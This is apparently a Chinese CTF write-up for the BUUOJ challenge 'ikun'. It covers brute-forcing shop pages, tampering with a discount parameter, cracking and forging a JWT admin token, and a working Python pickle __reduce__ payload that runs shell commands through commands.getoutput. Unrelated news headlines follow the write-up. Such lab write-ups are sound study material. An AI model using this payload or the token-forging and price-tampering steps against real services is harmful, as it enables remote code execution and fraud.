https://buuoj.cn/challenges#[CISCN2019%20%E5%8D%8E%E5%8C%97%E8%B5%9B%E5%8C%BA%20Day1%20Web2]ikun
知识点: 脚本 jwt pickle反序列化
一看BUU还有很多国赛题,国赛题一般都能学到很多东西,所以觉得先做国赛题,然后准备打打rund7和西湖论剑,哦我又想起来hgame还没打了2333
【资料图】
言归正传:
好家伙,一来先登录一下,这里F12看到提示:
然后F12看到提示:
当然第一步的提示很明显
为什么我只有10块钱,桑心,发现每页的图片都是命名的lv几
那一页一页翻几百页,肯定不是这样做的,多半是写脚本,但是以我水平,写不来捏:
感谢大佬:
https://blog.csdn.net/eliforsharon/article/details/123065353
import requestsfor i in range(1, 1001, 1): url = "http://60e5343c-8126-4686-9904-460daa610afa.node4.buuoj.cn:81/shop?page=" url += str(i) x = requests.get(url) if "lv6.png" in x.text: print(i)
再次感谢大佬:
https://blog.csdn.net/qq_41628669/article/details/106133124
#coding:utf-8import requestsimport timefor i in range(1,200): print(i) url = 'http://1ecaa26f-c825-4bf8-861a-a2b0f2a73316.node3.buuoj.cn/shop?page={}'.format(i) r = requests.get(url) if 'lv6.png' in r.text: print(i) break if r.status_code == 429: print("too fast") time.sleep(2)
这里我一直报错:AttributeError: module 'requests' has no attribute 'get'
按道理来说是因为文件名问题,可是我自己的文件名起的是IKUN,而且每次输出都会先输出12345 和其 md5形式的问题,后来我发现,是我当前文件夹里面有一个requests.py,但是其内容没有用到request模块,所以那个脚本当时没什么问题,后来我们放其他用到requests的脚本时就调用了这个py文件,然后报错,值得自己反思。
这里爆破出来在181页:
但是我只有10块钱,点击购买,抓包看看能不能改价格或者折扣
看到末尾有参数:
把0.8改成很小,最后价格小于10就行了,得到下一个网站地址,访问提示:
那抓包看看有没有验证参数或者cookie:
很眼熟的JWT,我们在[HFCTF2020]EasyLogin里讲过关于JWT的组成构造和原理
当然也可以看这篇博客:https://blog.csdn.net/cdyunaq/article/details/122561096
话说回来:
我们丢到JWT网站看看构造:
与当时的情况不同的是,这里明显有jwt签名,需要我们找密钥,那一般都要用到我们的
工具:c-jwt-crack,github上有https://github.com/brendan-rius/c-jwt-cracker
放一下readme.md内容,值得注意的是
有jwt-cracker这个工具只适用于单一签名加密,即HS256,
c-jwt-cracker和jwttools一样是暴力破解JWT私钥的工具
可以根据这个博客:https://blog.csdn.net/qq_64973687/article/details/128430526
按照其教程一步的安装下载与利用jwttools,这里我所演示的是c-jwt-cracker
然后就是解压,make一下,然后跑脚本,这里我改了文件名的,无需在意差别。
爆破出来后我们根据网站https://jwt.io/重新构造JWT签名,记得把用户名改成admin
然后到了新界面:
然后f12看到提示,发现源码泄露,同时抓包出现新参数become:
打开www.zip,沿着找到become参数的思路发现Admin.py
import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib
class AdminHandler(BaseHandler):
@tornado.web.authenticated
def get(self, *args, **kwargs):
if self.current_user == "admin":
return self.render('form.html', res='This is Black Technology!', member=0)
else:
return self.render('no_ass.html')
@tornado.web.authenticated
def post(self, *args, **kwargs):
try:
become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))
return self.render('form.html', res=p, member=1)
except:
return self.render('form.html', res='This is Black Technology!', member=0)
关键点在于pickle,根据在研究大佬WP时找到:
https://www.freebuf.com/articles/web/252189.html
pickle
或cPickle
,作用和PHP的serialize与unserialize
一样,两者只是实现的语言不同,一个是纯Python实现、另一个是C实现,函数调用基本相同。
关于其过程,在这里我说多了不如直接看别人博客,我都是第一次遇到,
整个序列化的过程可以分为三个步骤
从对象中提权所有属性
写入对象的所有模块名和类名
写入对象所有属性的键值对
其他重点可以看他的,这里简述一下反序列化漏洞:
反序列化漏洞出现在 __reduce__()
魔法函数上,这一点和PHP中的__wakeup()
魔术方法类似,都是因为每当反序列化过程开始或者结束时 , 都会自动调用这类函数。而这恰好是反序列化漏洞经常出现的地方。
当 __reduce__()函数返回一个元组时 , 第一个元素是一个可调用对象 , 这个对象会在创建对象时被调用 . 第二个元素是可调用对象的参数 , 同样是一个元组。这点跟我们上面提到的PVM中的R操作码功能相似,可以对比下:
值得一提的是,在py2中,只有内置类才有__reduce__
方法,即用class A(object)
声明的类
如果你使用class A的话会和class A(object)的结果不同,并且得不到结果,但是py3中,两者结果一样,因为py3已经默认都是内置类了
话说回来:
在admin.py中
self.render('form.html', res=p, member=1)这段代码的意思就是找到模板文件,进行渲染,从而显示页面
而在form.html中, <div class="ui segment">{{ res }}</div>这句话说明传入是可以回显的
那我们的目的明显是读取flag文件,然后利用res输出内容。
因为系统函数大多都是print输出,所以我们需要找一个新的函数:commands.getoutput()
然后payload:
# coding=utf8
import pickle
import urllib
import commands
class payload(object):
def __reduce__(self):
return (commands.getoutput,('ls /',))
a = payload()
print urllib.quote(pickle.dumps(a))
#ccommands%0Agetoutput%0Ap0%0A%28S%27ls%20/%27%0Ap1%0Atp2%0ARp3%0A.
这里第一个对象form.html被调用,第二个参数返回结果,因为第二个参数res可以回显,所以这里返回的ls /也回显了出来,将结果作为become参数,回显flag位置在flag.txt
剩下的就是换命令内容,然后得到flag:
最后因为要出去吃饭了有点赶时间,比较抱歉,下次遇到同样类型的反序列化,一定详讲并举例。
那么,期待我们下一题再见!
关键词: SELF CODING EXCEPT reduce HGAME FLAG ikun COOKIE MAKE python HTTPS PAGE WAKE RETURN BREAK GITHUB HTTP 值得一提
[CISCN2019 华北赛区 Day1 Web2]ikun
2023年南宁青秀山春节活动有哪些 环球短讯
【全球独家】上门慰问送温暖 党的关怀暖人心
世界头条:变电站固定式直流融冰装置在豫投用
东方日升承认泄露未公告信息 “炫单”员工挨罚:严重警告并扣除绩效
Jeep全新大切诺基4Xe确认引入中国!彻底解决高油耗问题|观察
QQ浏览器是如何提升搜索相关性的?|全球播报
义翘神州:重组蛋白试剂可以用于支持PROTAC药物的研发 全球快报
当日快讯:宝鼎科技:宁波海事法院1月13日开庭审理公司与泰格公司153.29万美元海事海商纠纷一案
建信住房租赁基金拟与万科集团合作设立子基金 规模为100亿元_全球快报
岱勒新材:公司定增目前处于证监会注册阶段
瑞银:维持招商银行买入评级 目标价54.8港元
年终奖究竟怎么做配置才好?_即时看
四川省选举产生147名十四届全国人大代表 中央提名的代表候选人赵乐际同志当选
全球微资讯!工程类公司经营范围:
韩系“新旗舰”诞生!灯光效果首次曝光:综合气质优于奥迪A6 当前热点
向佐郭碧婷风波后首合体,携二胎儿子逛街,向佐紧搂老婆恩爱依旧 环球时快讯
紫金矿业最新公告:子公司拟参与竞拍新疆和田县火烧云铅锌矿探矿权
全球热头条丨和仁科技(300550)1月13日主力资金净买入252.44万元
2023重庆璧山消费券可使用商家有哪些?_每日时讯
吉星高照贷款逾期4个月影响征信吗|全球观天下
上海市商务委主任办公会议研究贸易型总部、民营企业总部和上海老字号认定等工作-世界热文
2022年中国石化大牛地气田产气超30亿方_快消息
今日报丨甜巧克力脂肪含量高吗?低场核磁技术
“杀”新冠冰箱通过认证?长虹美菱回应
有意思小周刊(2023.01.09):一文详解|影响成长的关键思考_当前观点
焦点热文:2023彩云消费券第六期使用规则(时间+范围+查询)
面对下一个市场,保持谨慎没有错。
和亲人离别不舍的句子(精选353句)
快讯:搭载3.0TV6+9AT!长城山海炮将在广州车展上市
1月10日烟台中瑞氢氟酸价格暂稳_环球速看料
宝安第一外国语学校(集团)包括哪些学校
音飞储存(603066)1月10日主力资金净卖出898.79万元|今日快看
中润资源: 董事会关于公司本次重组前12个月内购买、出售资产情况的说明
全球快讯:工行融e借贷款逾期三个月会影响征信吗
海波重科:博冠科技现手订单已饱和 预计随着新建厂区投入使用 未来几年业绩仍将维持快速增长
相关新闻